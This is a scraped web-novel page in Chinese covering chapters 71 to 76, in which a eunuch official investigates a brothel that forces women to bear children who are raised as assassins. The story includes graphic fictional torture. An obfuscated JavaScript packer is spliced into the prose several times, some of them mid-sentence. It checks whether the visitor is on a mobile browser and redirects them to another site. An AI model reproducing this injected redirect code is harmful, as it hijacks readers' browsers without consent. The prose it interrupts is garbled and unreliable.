云暮的心中,有怜惜,也有愤怒,怜她命苦,怒老鸨目无王法。 等人心情平复后,云暮才问:“听说每个月都有大夫来给你们诊脉,怎么还会有身孕?渡春风的事,你知道多少?” 得了字条后,云暮就暗中调查渡春风之事,这才发现其中的怪异之处。 寻常青楼,都是新人进,旧人出,但渡春风这么多年,都是只进不出,就连有人想花大价钱赎人都不行,那 些人老珠黄之人也不知去了何处。 她们给渡春风挣了不少银子,留在楼中养老也无可厚非,她夜探渡春风时,并未发现她们的踪迹,人不可能无缘无故地消失。 宋华沉思了片刻,“奴家知道的也不多,但楼中的姑娘接了客后都不许和避子汤,若是有姑娘被诊出有孕,就会被人带走,等产完子又会被人送回,再次接客,月初时,有几个姑娘就被带走了。” “荒唐!” 云暮怒而拍桌,他们把人当成什么了?只会下崽的牲畜?楼里的姑娘少说也有百人,这么多人,这么多孩子,去了哪里? 她突然想起十五,问道∶“带去了何处?” 宋华把手搭在小腹上,有些伤感∶“奴家也不知,只知是柳娘身边的人带走的,回来的姑娘对此事也是缄口不言。” 悠悠众口难堵,总有人管不住嘴,他们总不能缝住嘴吧? 第七十一章 阉人狎妓 宋华不知想到什么,浑身哆嗦了一下,她低声道∶“听他们说,有人不小心说漏了嘴,被一个姓陶的管事缝上嘴,又人楼里的龟公在大堂把人凌辱致死。” 她干呕了几声,却只吐出了酸水。 来渡春风没多久,有个姑娘扬言不给赎身她就把逼人生子一事告知外人,柳娘拿着一根粗壮的针亲自施刑,紧接着就是…… 她连做了几天的噩梦,后见逃跑无望,最后还是妥协了。 云暮的心里掀起惊涛骇浪,这些人的手段远比她想的还要下作。 她轻敲了两下桌子,“楼里的姑娘不全是京城人士吧,可有从涿州来的?” “有几个,但我同她们没有说过几次话。” 云暮写了几个名字:“你认识吗?” 宋华摇头道:“这的姑娘用的都是花名,奴家回头去打听打听。” “渡春风之事没有这么简单,你恐怕还要在此处待上一些时日,但你放心,我们定早日查出真相,过几日我们还会再来,你莫要冲动,保住命等着我们来。” 云暮点头,“走吧。” 才起身,就被宋华拉住了衣角,“大人,别走,时间太短了。” “什么意思?” 云暮不明所以,听懂了的沈聿明把人拉回椅子,“再坐会儿。” 皮鞭打在肉上的声音传入耳中,“你这是做什么?” 宋华轻嘶了一声,又往手上背上滴了烛泪:“大人,若我一身好皮肉地出去,他们定会生疑。” 云暮沉默地收回手,不忍再看她。 临走前,季川把一个瓷瓶放在宋华面前,“止血化瘀,还能避子。” 宋华看着那只骨节分明的手,热泪滚滚落下,“多谢。” 为那晚,也为今日。 见几人干净整洁地出来,柳娘狐疑地把人送到门口,“官人可还尽兴?” 云暮回味似的摸了摸下巴:“还行吧,比外头的能抗,花样也多。” 又给她塞了一百两银票:“今夜她怕是不能接客了,就让她歇着吧。” 待柳娘回到房中,看到趴在地上满身伤痕的宋华和散落一地的工具时,她才明白能抗是什么意思,脚尖抬起宋华的下巴,“从前怎么不知你这么会哄客人呢?” 她丢下十两银子,“把人带回去,好生将养着,别把我的摇钱树给伤着。” …… “十五或许就是这样出生的,陶妍肯定知道那些人在何处养胎生子。” 几人甩了身后的尾巴,卸下伪装后径直去了大理寺。 陶妍一日不交代,就要受刑一日,再次见面,破烂的囚衣上满是血污,见到云暮时,她还是忍不住要开口挑衅。 “云大人,大过年的还要来提审,你可真是大忙人。” “渡春风是你们的窝点。” 双目不离人的云暮捕捉到了她放大的瞳孔。 陶妍愣了好一会儿,才哈哈大笑,嘲讽地看了云暮的下半身一眼:“云大人,你一个阉人,竟然去逛青楼,姑娘们看了你的身子,不觉得恶心吗?” 又扭头对不远处的狱卒说道:“当朝王爷和朝廷命官狎妓,举报者能得赏银百两,只要把这个消息卖给任何一个政敌,你们后半生就衣食无忧了。” 赏银和买命钱他们还是分得清的。 云暮拦下想要动手的沈聿明,一把锋利的匕首在她指尖转动,“陶姑娘听说过墨刑吗?” 冰冷的刀尖在她自额头而下,最后停在了面颊上:“就在这里给你刻一个奴字如何?” 只要面上被刻了字,一辈子就消不掉了!即便侥幸活到皇上大赦天下,被刻了奴字的人也会被官府发卖,她是卢家的小姐,她怎么可以去侍奉别人? 陶妍终于慌了,她拼命扭头想躲过匕首:“云暮,云大人,求你,你用什么刑都可以,别黥面,求你了。” 云暮揪着她的头发,把她的脸固定住,而后在她的脸上划下一刀:“你也有怕的时候?你是不是一直等着明年千秋节的大赦天下?你知不知 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14632421|156271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道,只要我一句话,大赦天下的人里就没有你。” “渡春风一百多个姑娘,从涿州到京城,你有没有想过她们被你们强行掳去青楼时有多恐惧?” 等话说完,陶妍的半张脸已经鲜血淋漓,粗糙的毛笔蘸着带着臭味的墨水,糊在了她的脸上。 “还有一边。” 陶妍不交代也没关系,如今有了目标,派人去盯着就是,照季川的观察,月初之时,必有姑娘会被送走。 墨汁混着血,把白净的脸染黑,陶妍咬紧牙关,阴恻恻地盯着云暮,恨意如同藤蔓,恨不得绞断他的脖颈,“云暮,你最好别落在我们手里,到时我定千百倍奉还。” 刀柄压着她身上的伤口,还在渗血的伤口再次开裂,云暮好奇道:“你说,若是把你们对付泄密姑娘的手段用在你身上,会怎么样?” 捆着手脚的铁链发出叮叮当当的声音,陶妍色厉内荏怒道∶“你敢?” 原来她也害怕这种手段,云暮觉得很没意思,她把匕首丢回刑桌,冷冷道:“本将军有何不敢?你对旁人使这种手段的时候,也该想到这把刀有朝一日也会落 到你头上。” 从大理寺出来,季川久久不能回神,难怪当时云暮让他先回府,看向云暮还沾了血的袖口,心想,到底是什么把从前那个连杀鸡都不敢的人逼成现在这个模样。 云暮把袖口往上折了几分,无奈道:“就说让你先回府,你非要去开开眼,这下好了,中邪了吧?” 季川头一次对他生出怨怼:“为何总是报喜不报忧?早知你在京中这么艰难,当初为兄就该和你一同进宫。” 云暮的眼角弯了弯:“如今也不晚,锦衣华服,高官厚禄正等着师兄呢,再过个一两年,太医院院使就要告老还乡了,师兄,师弟看好你,到时你就是我们在太医院最大的人脉。” 沈聿明含笑地敲了敲她的脑门:“又胡说。” 一阵马蹄声起,文竹翻身下马对他们行了一礼∶“王爷,那户人家说,他们府上并无周群美。” 七十二章 再访渡春风 周群美,宋华的母亲。 按宋华的话,周群美每个月都会回一趟家,可宋华被抓进渡春风已有三个月,京兆尹和大理寺都未曾张贴过告示。 她不在那户人家当粗使婆子,为何要瞒着宋华,难不成有什么隐情? “去她家附近查查。” 晚间,云暮捏着手中的画像,眉头轻拢:“你们觉不觉得这个人有些熟悉?” 她照着砚石的描述,提笔临出一张有八九分相像的脸,只是多了几分沧桑。 季川摩挲着下巴,突然道:“这不就是那晚画像上的妇人?” 沈聿明不明所以,“谁?” 云暮几句把那晚之事交待清楚,“十五说这是他娘,而宋华的父亲死了也有七年,邻居平日里也没见过有男人出入她家,她不可能是十五的母亲。” 云暮把之前搜集到的消息联合起来,推测道∶“她们产子后,孩子就交给周群英还有其他人照顾,在孩子们的眼里,她们就是母亲,等再大些,就会被送到那个地牢,把人训成杀人如麻的杀手后,再送到各个家族当小厮,或是私兵。” 最后两个字,说得很轻。 沈聿明说道:“这么多年都好好的,但年前突然就死了,邻居曾说她半个月前回过家,之后不久,宋家每隔几天灯就会亮一次,看着像是在翻找东西,当时邻居还不知道人已经死了,只当是周氏母女。” “她为他们卖了这么多年的命,突然反脸,这件事只能和宋华有关。” 云暮接过他的话,“得知宋华被抓入青楼,解救无果,就收集隐藏罪证,她死的地方离朱雀大街很近,那天皇上宴请群臣,不少官员会从那边路过,那天她是想报官?” 这些也只是他们的猜测,周群英已死,无人能证实。 “派几个人去她家附近蹲守,发现可疑之人后不许打草惊蛇,地牢的练武用具只适合十岁左右的孩童,他们肯定还有别的据点。” …… “官人,里边请。” 虽然这位柔若无骨的美人动作殷勤,但她身体始终在云暮的半步之外。 身后又进来了一个男人,云暮更能感觉到身边人的冷漠,她低头看了看自己寒酸的装扮,她了然地抽回手:“这儿不用你了。” 她在柜台前磨蹭了许久,把名册翻来覆去看了好几遍,谄媚地笑问龟公:“能不能再便宜一点,十两太多了。” 龟公不耐烦地敲了敲桌子,语气带着鄙夷:“十两已经是最便宜的了,没钱就出门去别处,其他地方有便宜的姑娘。” 云暮擦了擦嘴角:“那些地方的姑娘满脸皱纹,笑一下,脸上的脂粉簌簌往下掉,哪能和你们渡春风的比。” “你知道就行了,还点不点,不点就滚出去,别耽误了我们做生意。” 说完,龟公作势要合上名册。 云暮肉痛地掏出十两银子,才放到桌上,瞬间就没了影:“我点华娘子。” 龟公扔给他一个牌子,“二楼左手边第二间屋子,半个时辰。” 云暮抱着牌子直奔二楼,心里松了口气,还好没带沈聿明他们来,否则桌子都能给掀了。 云暮进门后不久,身后就传来一阵脚步声,而后就是衣衫剥落的声音:“官人,奴家华娘,春宵苦短,切莫浪费。” 云暮没有回头,却精准地抓住那只即将搭在她肩上的手:“是我,把衣服穿上,本官有些话要问。” “大人,好了。” 宋华认出了他的声音,看他和那天不同的样貌和身材,有些诧异:“大人,你……” “易容术。” 云暮把周群英的事同她说了一遍,怕宋华接受不了寻短见,她犹豫了片刻,还是决定瞒下身死之事。 宋华双腿发软,她不敢相信她娘和柳娘是一伙的,她摇头喃喃道:“不可能,不可能。” 时间紧迫,今天不能再同她废话,云暮直接问道:“柳娘几次三番派人去你家翻找东西,那些东西应该是她偷藏起来的证据,你娘平日里会把东西藏在何处?” 宋华依旧沉浸在她的世界里,对云暮的话并无回应。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14632422|156271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 云暮见状,狠心地给了她一巴掌:“你清醒了吗?你娘应是发现你被抓来了渡春风,为了救你,才私藏证据,你若是再这样,本官也救不了你!” 宋华捂着脸放声痛哭,一盏茶的功夫后,她终于冷静了下来,抽抽噎噎说道:“我阿娘喜欢把东西藏在门口的房顶、灶台还有院前的那棵桃树下。” 云暮不解:“若是纸张,藏在灶台里不会被烧毁?” 宋华解释道:“是下面的接灰抽屉,烧火前我都会翻找,没发现有东西才烧火。” 云暮一手夜明珠,一手拿着铲子在灶台四下翻找,最后再厚厚的草木灰下,翻出了一袋被油纸包着的东西。 她拍了拍,烟灰四起,呛得她打了一个喷嚏。 门外,有人低声道:“里头好像有人。” 云暮屏住呼吸,在屋内巡视了一圈,躲在了米缸后,把散着微光的夜明珠连同东西收进囊中,手腕一抖,锋利的匕首出现在手中。 清冷的月光从大开的门照进屋内,两道长长的黑影无声 地靠近灶台,“我知道屋里有人,别装神弄鬼,主动出来我们还能饶你一命。” 云暮握紧了匕首,腰间的软剑也在蠢蠢欲动。盯着由长变短的黑影,在他们即将走近时,云暮一跃而起,手中的匕首插进一人的胸口,腰间的软剑也缠上了他的脖子。 她出现得太过突然,两人也没料到她的武功竟这般高,一人当场毙命,另一个则转身欲逃。 云暮脚尖勾起铁铲,朝他的后脑勺砸去,此人弯腰躲过,失去了逃命的最佳时机。 云暮一身黑衣,只露出一双眼睛,背着光站在门前,长剑上的正一滴一滴往下掉。 “你们是柳娘的人?” 正要拼死一搏的人听到这话,连剑都忘了拔:“你是柳娘的人?你怎么不早说?躲在里面,还当你是官府的人。” 见他要走近,云暮抬剑指他:“证据。” 男人也反应过来,快速抽出长剑:“那你呢?空口无凭就说自己是柳娘的人,你当我傻?” 第七十三章 勇闯落霞山 云暮扯下腰间的玉牌:“看清楚,我可是陶小姐的人,你确定要和我动手?” 男人借着月光,细细观察着玉佩,心里终于信了云暮的话,他掏出一个木牌,低声抱怨:“你怎么一声不吭就动手,如今人死了,我看你怎么交差。” 云暮躲过木牌,冷冷道:“怎么交差是我的事,就不劳你操心了。柳娘净是养一些废物,搜了这么久,一点线索都没查到。” 男人小声嘟囔了一句:“主子都被抓了,也不知道在横些什么。” 云暮把木牌抛了回去,“陶小姐被抓后,你们换了地方?为何不派人知会一声?你们可别忘了这条线是陶小姐做出来的。” “用得到我们时,就让我们当牛做马,等没了价值又一脚踹开,你们未免有些不近人情。” 男人闻言,得意一笑:“那又如何,成王败寇,她自己蠢,非要报仇才被云暮抓住,怪得了谁?卢家人都死绝了,还养什么私兵?你还是回去多给他们烧些纸钱吧。” 云暮冷冷一笑,指着角落说道:“你看那是不是我们要找的东西。” 男人急忙转身:“在哪?” 要是他真的找到,赏赐绝对少不了,那人已死,他也不担心有人和他抢,至于陶妍的人,他把人骗回据点,再和人杀了他便是。 云暮慢慢靠近,一记手刀把人劈晕,她把手抵在唇边,轻吹了两下,很快,就有几人出现在院中。 “把人带回去。” 这人知晓据点所在,定能吐出不少东西。 很快,才死过人的屋子又重回平静,云暮踏着桌子在屋顶的木梁上摸索,指尖碰到一块冰冷的东西。 下一瞬,咔哒一声,铁块碰撞的声音响起,云暮掏出夜明珠照了照,发现竟是一个捕鼠夹。 房梁上,空无一物,云暮正打算放弃,抬眼一看,隐约在瓦缝之间看到半根绳子。 云暮比划了一下高度,手上使力,双腿夹着房梁,一点一点挪到中间,小心翼翼地取下那个东西。 她轻巧地落回地上,仰头看向方才的位置,不管从何处看,都看不到那块瓦片,也难怪那些人发现不了。 把宋华说的地方都找了个遍,最后只是找到了两个纸包。 云府的书房,灯火通明。 第二日,云暮一脸严肃地出现在了御书房。 几日没见,梁文帝的气已经消了,他笑着把人招到身边,“往年这个时候你都在躲懒,今儿怎么来了,脸色还这样难看,谁给你气受了?” 云暮从怀里掏出一沓东西:“皇上,您看了便知。” 梁文帝脸上的笑意一点一点消失,看到最后,他的脸沉得能滴出水,“他们还真是活得不耐烦了!” “拿着这个东西,京城内外的军队随你调遣,需要多少兵马只管去调,你想要谁同你查案?” 云暮想了想,说道:“此事是秦王同奴婢一起发现。” 梁文帝揉了揉眉心:“那就和明熹一道吧,只有一点,不许再失手,否则,你知道下场。” 云暮握紧了手中的虎符:“奴婢知晓。” …… “云暮”带着一千兵马在城外的山林里操练,比武射箭,围观的百姓手里都拿着一个热气腾腾的白面包子和鸡蛋,嘴里不住的在喝彩。 “这不是金吾卫吧?难不成云大人又升官了?” “这是城北的军队,没有虎符都调不动,你想想另外半枚虎符现在在哪。” “真是人比人,气死人,皇宫里有上千个太监,偏偏就他一人能得陛下青眼。” “时也命也。” 人群里,有几人对视了一眼,连包子都没拿,又回了城。 王明远猛地站了起来:“你没看错,真是云暮?” “奴才瞧得千真万确,就是云暮,腰间还挂着天子令呢。” 他怒而拍桌:“天子令和虎符都给了一个阉人,皇上是疯了吗?” 而另一边,真正的云暮和沈聿明则带人无声无息地围住了落霞山。 “守住出口,要是不降,直接杀了。” “是!” 35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14632423|156271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' > 云暮在土里转动了几下,部分碎土从山上滚滚落下,不一会儿,一个石门暴露在人们面前,云暮暗着那人的供词,拿出木牌塞进石门的凹槽处。 石门轰然打开,夹道狭窄,只容两人并肩而行,云暮拦下正欲往里走的沈聿明:“王爷,不知里面情况如何,你且带人去另一个出口守着。” 沈聿明怎会同意:“不行,本王放心不下,要是遇到危险还能照应一二。” 云暮推了推他:“王爷,下官只有这个机会了。” “什么机会?” 沈聿明盯着她看了好一会儿:“你总是有事瞒我。” 云暮还是不语,见沈聿明带人离去后,她才慢慢松开紧握的双手:“你们随本将军下去,余下之人把落霞山给本将军围成一个铁桶,若放跑一人,军法处置,若是能把人一网打尽,赏赐少不了。” 云暮把人分成三队∶“你们带着盾牌先行,弓箭手在中间,你们持盾断后。” 黑暗幽深的小道被灯笼照亮,没走多久,为首的人踩到一块松动的砖 头,咔嚓一声响,他不敢再动,只低声喊了一声∶“云将军。” 嗖嗖的声音从前方传来,云暮大喊一声,“举盾!” 她话音落下,前方的人架起了盾牌,把箭羽死死地挡在身前,一盏茶的时间过后,终于恢复了平静。 一根泛着幽蓝的箭羽被传至云暮手中:“有毒,诸位小心行事。” 清理完毕,这一次,云暮走在了最前面,手里捏了一把石头,不时地往地上和墙上丢一颗。 最后一颗砸到墙面时,先是石块被移动的声音,惊人的嘶嘶声紧接其后,云暮暗道坏了,“趴下!” 一群血蝙蝠呼啸而出,在夹道横冲直撞,所有人都紧紧护住了脸,所幸只有手背有几道抓痕。 好在云暮有先见之明,进来前每人都发了解毒丹和止血散。 她站在石门前,对着身后的士兵点了点头,按着那人说的方法把砖头一块一块往里推。 一股带着刺鼻气味的白烟滚滚而出。 第七十四章 收网 城外,来来回回都是射箭练剑,一开始有些新鲜,但看久了也就觉得没意思了,更何况外头天寒地冻的,没站一会儿,双脚发寒,就算是白面馒头和鸡蛋都暖不了百围观者的身子了。 季川坐在马上,看着百姓开始往城里走去,他心里有些着急,虽然他不知道云暮要干什么,但不管如何,他都要把人留下。 昨日云暮来找他,开口就是让他假扮成“云将军”的模样,带着士兵在城外训练,吸引旁人的注意力,两人身形不一,这也不是什么大问题,毕竟他练过缩骨功。 只是他从来都是行医治病,如何知晓训练士兵?又担心被人识破身份。 但听到云暮说的那句“我能相信的只有师兄你了”后,他就应下了。云暮一直是个很有主意的人,极少开口求师父和他,有什么都是默默解决,自从两兄弟分开后,这还是云暮第一次开口求他,他怎么能不应下? 季川叹了口气,从腰间的锦囊拿出了云暮给他准备的第一张字条,上面赫然写着“打猎”二字。 看向周围白茫茫的一片,雪花还挂在光秃秃的枝丫上,别说猎物了,就连只鸟儿他都没看见,这怎么打? 他垂眸思考了片刻,招手叫来副将,正要吩咐他回城找人买些家禽来放到林子里,就看到有不远处停着几辆马车,坐在外头的车夫跟守在外围的士兵说了几句,就有人朝他走来。 “大人,他说您昨日定了一些家禽,就在马上。” 季川才知云暮说的早有安排不是在说笑,他扯了扯缰绳,行至马车边,车夫讨好似的拉开车帘,里面除了鸡被一些会飞的鸟儿,还有的就是白狐。 “你们,过来把这些东西放进林子里。” 鸟儿被解了绳,展翅高飞,有人大着胆子问:“云大人,你这是要做什么?” 季川不语,拿起挂在马脖子旁到弓箭,拉开,箭羽在紧绷的弦上蓄势待发,他对准一只鸽子,松开了手,“嗖”的一声,箭羽飞出,弦还在微微颤动。 鸽子还没来得及叫出声,就已经从空中跌落。 百姓拍手叫好,季川也勾唇一笑,不是他夸大,在江南时,他和云暮一同练武,箭术不相上下。 一只猎狗猛地蹿出,而后叼着那只没了气息的鸽子跑回季川身前,他拔下箭,朝人群扬了扬,“谁要?” 一时间,本打算要走的百姓突然又折了回来,纷纷举着手说道:“大人,我要。” 还有人想要越过隔离用的木栏翻身进来,季川又再次射出一箭,正好落在那人的腿边:“我们正好缺猎物,不想死的尽管进来。” 一柄柄尖刀刺向早早竖起的铁盾,发出刺耳的声音。 云暮站在盾后,等着白烟散去,一条被打湿的布条围在他们的脸上。 在审问时,即便那人信誓旦旦地说夹道内并无机关,这些人一向谨小慎微,就连据点都分成了两个,云暮怎会相信他? 原想她先来探探情况,但时间来不及了,皇上不想再等了,云暮岂会让他如愿? 临走前,她还在对方身上闻到一股似有若无的味道,于是和季川二人制了一天的解毒丹。 白烟一散,持盾的士兵在前面开路,云暮提着剑正要挥下,才发现那些人都是十来岁的孩童,放眼望去,最大的也不过十六七。 那些士兵显然也被这个场面震住了,一时忘了动作,“大人,这……” 看着他们冷漠阴沉的眼神,云暮沉声对孩童说道:“本将军给你们两条路,一是束手就擒,二是死于剑下。” 她话音刚落,那些孩童已经提着剑砍来,云暮大失所望,但也在她的意料之中。 这些人已经被他们训成了一个没有感情,只知杀戮的人,“杀。” 她看了一圈,并未发现那人口中的首领,只在尽头发现一条夹道,“你们几个,随我去追人。” 沈聿明正抱着剑倚在树干上,脑子里想的都是云暮那张倔强又哀求的脸,她到底瞒了她什么?把话说清楚,两人一起解决不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14632424|156271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就行了吗? 正心烦着,面前土坡突然滚下落石,他无声挥手,周围的士兵瞬间戒备。 不多时,石门打开,几人气喘吁吁地跑了出来,在石门处叉腰啐了几口,怒骂:“他奶奶个腿,谁把消息泄露出去的?等我逮到人,一定把他碎尸万段。” 身后之人猜疑道:“前几日不是派了几个人出去找东西,也没见回来,难不成书他们?” 又有人道:“他们不是回渡春风了吗?” “不行,得赶紧回城回禀家主。” 豢养私兵这事被发现,那可是杀头的重罪,若非必要,他们必须当面回话。 几人边说边走出,“你们有没有觉得这土松软了不少?” 说罢,他又跺了两脚。 等其余几人察觉到不对时,他们已经被几张大网吊在了树上。 “你们是什么人?” 沈聿明缓步走出:“本王是你爷爷,正带兵演练,你们又是打哪来的?” 听着这话,几人对视一眼,中间那个问道:“王爷何时来的?方才可有见到一伙贼人?” 沈聿明示意他们把人放下,一脚踩在那人 的胸口处:“你算什么东西,也敢质问本王?” 武昌作为王明远的得力干将,这么多年一直被人捧成了心高气傲的性子,他满地挣扎:“就算你是王爷,那也没有无缘无故把人抓起来的道理。” 这些人害了这么多人,竟然还如此理直气壮,沈聿明心情本就不好,心头的怒火正无处释放,他就自己撞到枪口了,那就别怪他不留情面了。 “在这里,本王就是道理。” 说罢,抬脚踢向武昌的手腕处,一根圆竹从武昌手中滚出。 沈聿明脚尖一勾,圆竹的底下还垂着一根引线,他摆弄了两下,明知故问:“这是何物?” 武昌冷笑:“王爷拔一下绳子,不就知晓它书何物了吗?” 沈聿明闻言,两手捏住了引线。 第七十五章 王家 半个时辰前,城北禁卫军。 许志辉正带着几百号人闯进了王家,门房正要把人拦下,就被一刀抹了脖子。 管家见势不对,大气都不敢喘,直奔书房,“老爷,不好了,许将军来了。” 他推开门,但书房空荡荡,哪里还有王明远的身影?事情紧急,他一刻也不敢歇,又往后院跑去,“夫人,不好了,许将军带人闯进府了。” 王夫人正和几位夫人在打马吊,闻言,她毫不在乎:“来了就来了,你慌什么,把人带去书房找老爷就是,同本夫人说有什么用。” 管家把手背往手心一拍,急道:“老爷不知去了何处,方才去了书房也不见人。” 王夫人想到王明远风流的性子,她压着怒火说道:“见不到人就派下人去各院找。” 她才说完,就听到外面传来一阵尖叫。 “杀人了,杀人了,快来人啊!” 前院那些年轻的仆人不知从何处抽出了长剑,许志辉见状,两眼微眯。他心想,云暮还真是料事如神。 “本将军奉命来捉人,与尔等无关,若束手就擒,可饶你们无罪。” 仆人充耳不闻,提剑朝他们杀去。 人虽不多,但实在难缠,许志辉退了几步,见他们步步紧逼,手段愈发狠辣,顿时也起了杀心。 许志辉及其手下的军功都是在战场上杀出来的,这些没有经过多少实战的私兵怎么会是他们的对手? 王家的人很快就溃不成军。 许志辉略一抬眼,终于发现不远处正冒着滚滚黑烟,他暗道不好,忙带人往浓烟的方向赶。 王夫人心里慌乱,她刚刚远远看了一眼,就被前院的画面吓倒在地,本以为许志辉只是登门拜访,但他一剑一个人头,来者不善啊! 王明远虽然不曾和她说过官场之事,但也知他在书房里藏了不可告人的秘密。如今在府中都找不到人,她只能出此下策。 她领着那几个夫人从后门出去,门才打开,一杆杆锋利的长枪正指着后门,为首的士兵见了人们,头一转,就有人上前把她们押走。 王夫人边走边回头怒道:“你们是什么人,可知我们是谁,又是谁派你们来的?” 其余几位夫人在心中叫苦,她们都是被自家夫君叫来的,谁能想到还有这一遭,当下就算再恐惧,也只能附和王夫人的话。 但不管她们怎么问,都无人理会,寂静的小巷只有她们的声音在回荡。 院内,许志辉正指挥着人灭火,火势太大,书房外还被人浇了一圈的松油,想硬闯都闯不进。 他焦急地在外面踱步,云暮千叮万嘱,进了王家就直奔书房,怕的就是他们消灭证据,他许久没有迎敌,竟被那些人激了斗志,留下了空子,只能在心里祈祷证据还能留下一星半点。 而此时的王明远正在崔府的书房里,和崔浩相对而坐,品茗下棋。 “崔相,城外的事你应该已经有所耳闻,你说皇上这是何意?” 崔浩落下一子,阻了王明远的进攻,“君心难测。” 王明远愤愤道:“依我看,皇上是昏了头,一个阉人当中郎将,在大梁前所未有,又力排众议让他成了上将军,那可是三品官!” “当年皇上花费了多少心血才从镇北候手里拿回虎符,也不知云暮用了什么方法,竟然让疑心病这么重的皇上把虎符交给他,我看皇上就是昏头了。” 想到云暮的身段和脸蛋,他又暧昧一笑“怕不是使了什么卖身求荣的手段吧。” “王家主慎言。” 崔浩瞥了他一眼,“该你落子了,若是再胡乱揣测皇上,那就请回吧。” 王明远见他跟个闷葫芦似的,心里鄙夷,他把手中的棋子丢回棋罐,“时候不早了,走了。” “那是什么?城中怎会燃烟?” 车夫顺着王明远指的方向看去,有些不确定地说道:“家主,好像是王家的方向?” 王明远神色一凛,“快回去。” 马车飞驰,车夫突然喝住前头的马,车内 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|52xs|n|shop|14632425|156271||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的王明远差点被摔下,他怒道:“赶个车都赶不好,废物!” 没有听见回应,王明远一把掀开车帘,泛着寒光的剑把他的怒骂逼回了肚子里,“王家主,下车吧。” 见过大场面的王明远临危不惧,手揪着车帘没放,脚下未动分毫,他冷冷道:“你们是何人?” 来人把令牌举带他面前:“城北禁卫军,还请王家主随我们走一趟。” 王明远依旧不动,“等许志辉来了我再走不迟。” “王家主,将军现下不得空,你是主动下来还是我们帮你?” 一朵烟花在城外炸开,王明远的脑中炸开一道惊雷,完了,被发现了。 他闭眼朝剑上撞去。 …… 云暮指着最左边的那条道,“我走这条,你们三人一队,走另外两条。” 估摸着走了五十步,前方突然出现一个转弯,云暮握紧了剑,火折子和匕首一同掷了出去,一声闷哼响起。 云暮捆着人继续向前,在最后一个转弯前,被她推出去探路的人被刺了一刀,云暮把人往前推,卡住长剑,一命换一命。 她打开石门,见禁卫军死守严防,这才放下心,“可有抓到人?” “抓到几个,云大人放心,别说人,就是一只雀儿都逃不掉,只是方才没注意,让他们放了一个烟花。” 云暮遥遥看向京城的方向,不知是在安慰百夫长还是她自己:“无事,按时间,许将军那边已经行动了,应该没有什么大碍。” 等她再次回到山洞中,他们已经把人全部制服,在把地都翻了一遍,确认没有其他暗道后,云暮一行人终于鸣金收兵。 在诏狱没发现她想要见到的人时,云暮脸色阴沉:“王明远呢?” 突然变脸,把狱卒吓了个好歹:“回大人,送来的人里没有王大人啊。” 双拳被她握得咯咯响,她一字一句道:“许志辉在哪里?” 若是这个废物没把事情办好,她死前第一个要杀的就是他! 第七十六章 救人 云暮一进万安堂,就看到许志辉正威胁大夫:“治不好他,你就洗干净脖子等死吧。” 她定睛一看,那面色如纸的人不是王明远是谁?她再也压制不住怒火,抬脚就踹。 许志辉捂着屁股转身骂道:“哪个不长眼的东西敢踹你将军爷爷?” 云暮一把揪住他的衣领,冷声道:“睁大你的狗眼,看清楚本将军是谁?” 许志辉顿时闭嘴,笑着拉下他的手;“云大人,方才不知是你,多有冒犯。” 云暮用力把人推至一边:“要是人没救过来,你也洗干净脖子给本将军等着!” 说罢,她走到床边查看王明远的情况,胸前的剑被人斩了半截,大夫的手放上,又落下,迟迟不敢拔下。 “大人,这剑离心脉极近,稍有不慎就会当场毙命,我等医术不够,着实不敢下手。” 屋内之人把两人的对话都听在耳朵里,人救不下来,他们也要跟着下去陪葬了。 